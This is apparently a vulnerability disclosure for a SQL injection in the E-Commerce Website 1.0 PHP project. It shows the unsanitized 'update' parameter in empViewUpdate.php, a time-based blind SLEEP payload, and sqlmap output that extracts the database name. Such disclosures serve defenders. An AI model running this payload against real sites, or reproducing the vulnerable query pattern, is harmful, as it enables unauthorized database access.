- Exploit Title: E-Commerce Website 1.0 - "update" Sql Injection
- Vendor Homepage:https://www.sourcecodester.com/php/11024/ecommerce-fully-functioned-online-shopping-site.html
- Software Link: https://www.sourcecodester.com/download-code?nid=11024&title=eCommerce+Website+using+PHP%2FMySQLi+with+Source+Code+
- Version: 1.0
- Vulnerable file： empViewUpdate.php

```
<?php
$update=$_GET['update'];
$result = mysqli_query($mysqli,"SELECT * FROM employee where Employee_ID ='$update'");
?>
<?php if($row = mysqli_fetch_array($result))
 {?>
```

- Sql Injection

```
Parameter: update (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: update=17' AND (SELECT 6850 FROM (SELECT(SLEEP(5)))PZVJ)-- Socf
---
[15:59:00] [INFO] the back-end DBMS is MySQL
[15:59:00] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:59:05] [INFO] fetching current database
[15:59:05] [INFO] retrieved:
[15:59:15] [INFO] adjusting time delay to 1 second due to good response times
somstore
current database: 'somstore'
```